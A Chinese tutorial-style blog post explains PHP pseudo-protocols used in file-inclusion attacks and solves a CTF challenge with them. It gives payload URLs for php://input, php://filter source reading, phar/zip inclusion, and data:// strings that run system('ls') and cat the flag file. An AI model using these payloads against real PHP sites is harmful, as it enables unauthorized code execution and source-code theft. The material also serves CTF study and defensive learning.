【每天学习一点新知识】文件包含常用之伪协议

这篇具有很好参考价值的文章主要介绍了【每天学习一点新知识】文件包含常用之伪协议。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

以下举例一些比较常用的伪协议及用法

1.1 php://input

可以用于执行php代码,通过post请求提交我们的代码

这里给一个攻防世界Web_php_include的例子

文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档

$page=str_replace("php://", "", $page);这里把page参数里的php://替换成了空格,我们需要绕过它

用php://input执行ls命令查看文件,php用大小写来绕过

文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档

结果如下:(chrome我一直post失败,所以这是用火狐的插件执行的post的结果)

文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档

知道文件名了岂不是轻轻松松,直接post:

文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档

得到flag:

文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档

1.2 php://filter

用于读取源码,通过get请求提交参数。它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

常用形式:

?a=php://filter/read=convert.base64/resource=xxx.php

iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>或者convert.iconv.<input-encoding>/<output-encoding>,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码

例如:

?a=php://filter/read=convert.iconv.utf-8.utf-16/resource=xxx.php

即输入utf-8编码,输出utf-16编码

1.3 zip、phar伪协议

用于读取压缩包中的文件

常用格式:

/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php

1.4 file:// 文件协议

常用格式:

file://[本地文件系统的绝对路径]

例如:

?file=file://D:/Server/htdocs/emlog/phpinfo.txt

1.5 data协议

常用格式:

data://text/plain,xxxx(要执行的php代码)

data://text/plain;base64,xxxx(base64编码后的数据)

例如:

?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

依旧以上面那个ctf的题为例

直接使用data协议执行命令

?page=data://text/plain,<?php%20system("ls")?>
文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档
?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php")?>

拿到flag文章来源地址https://www.toymoban.com/news/detail-637518.html

文件包含伪协议,每天学习一点新知识,php,web安全,网络,Powered by 金山文档

到了这里,关于【每天学习一点新知识】文件包含常用之伪协议的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • node.js知识系列(2)-每天了解一点

    👍 点赞,你的认可是我创作的动力! ⭐️ 收藏,你的青睐是我努力的方向! ✏️ 评论,你的意见是我进步的财富! 在 Node.js 中,您可以使用 child_process 模块来执行子进程。这允许您在 Node.js 应用程序中启动外部命令或脚本,与它们进行交互并获取输出。 以下是一个简单

    2024年02月07日
    浏览(29)
  • node.js知识系列(1)-每天了解一点

    👍 点赞,你的认可是我创作的动力! ⭐️ 收藏,你的青睐是我努力的方向! ✏️ 评论,你的意见是我进步的财富! Node.js 是一个基于 Chrome V8 JavaScript 引擎的服务器端运行环境,它允许您使用 JavaScript 编写服务器端应用程序。Node.js 的主要特点包括: 非阻塞、事件驱动 :

    2024年02月07日
    浏览(33)
  • 【c++】:反向迭代器适配器:每天学一点点优秀的思想

        文章目录 前言 一、list的反向迭代器         vector的反向迭代器 总结   反向迭代器的适配只用于双向迭代器,对于单链表实现的单向迭代器是不能通过适配构造一个反向迭代器的,为什么要说反向迭代器适配器呢?因为我们只需要实现一个反向迭代器模板就可以用所有

    2023年04月09日
    浏览(31)
  • C语言编程实现,计算每天进步一点点一年后的效果

    本来的基数为1,如果好好学习时能力值相比前一天提高1%,当放任时相比前一天下降1%。1年(365天)后的效果相差多少呢? 原基数为1,努力一天进步1%,效果1*(1+0.01),努力两天是在前一天的基础上进步1%,结果是1*(1+0.01)*(1+0.01),一年后天天向上的力量是(1+0.01)的365次方。

    2024年02月11日
    浏览(38)
  • 文件包含漏洞相关协议详解

    今天继续给大家介绍渗透测试相关知识,本文主要内容是文件包含漏洞相关协议详解。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! 首先,我们来介绍以下文件

    2024年02月13日
    浏览(26)
  • WEB 文件包含 /伪协议

    首先谈谈什么是文件包含 WEB入门——文件包含漏洞与PHP伪协议_文件包含php伪协议_HasntStartIsOver的博客-CSDN博客 我们来本地搭建一个环境看看 一个flag  一个test  这里就存在漏洞 因为对我们的传参没有限制 我们就可以访问文件了    这样就访问了 flag文件 这就是最简单的文件

    2024年02月14日
    浏览(23)
  • 文件包含之——phar伪协议

    因为PHP语言所提供的文件包含功能包含功能太强大,太灵活,所以大部分文件包含的漏洞都出现在PHP的程序中 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞 当包含的文件在远程服务器时,就形成远程文件包含漏洞 文件包含这个点在php中涉及是个函数 require(

    2024年02月07日
    浏览(19)
  • 6.6---每天一点点--- Java基础之==和equals区别并举例说明(总复习+深入版)---详细+举例(小白也能看懂)

    1.== 为运算符,equal 为String数据类型的比较方法 相同内容的对象地址不一定相同,但相相同地址的对象内容一定相同;== 比较的是值是否相等,equal比较的是是否是同一个对象 2.把对象想象成一个房子,而引用则是门牌号。如果两个引用指向同一个房子,那么它们就是相等的

    2024年02月08日
    浏览(32)
  • 【漏洞复现】Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1938)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2020-1938 漏洞名称 Aapache_Tomcat_AJP文件包含漏洞 漏洞评级 高危 影响范围 Tomcat 9.0.30 漏洞描述 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomca

    2024年02月05日
    浏览(45)
  • 看着显示屏,学习新知识

    m a p k e y ( 键 ) , v a l u e ( 值 ) n a m e ( 名 ) mapkey(键), value(值) name(名) ma p k ey ( 键 ) , v a l u e ( 值 ) nam e ( 名 ) u n o r d e r e d _ m a p 如法炮制 unordered_map如法炮制 u n or d ere d _ ma p 如法炮制 m a p u n o r d e r e d _ m a p 的区别 : map unordered_map 的区别: ma p u n or d ere d _ ma p 的区别 : 1.

    2024年02月11日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包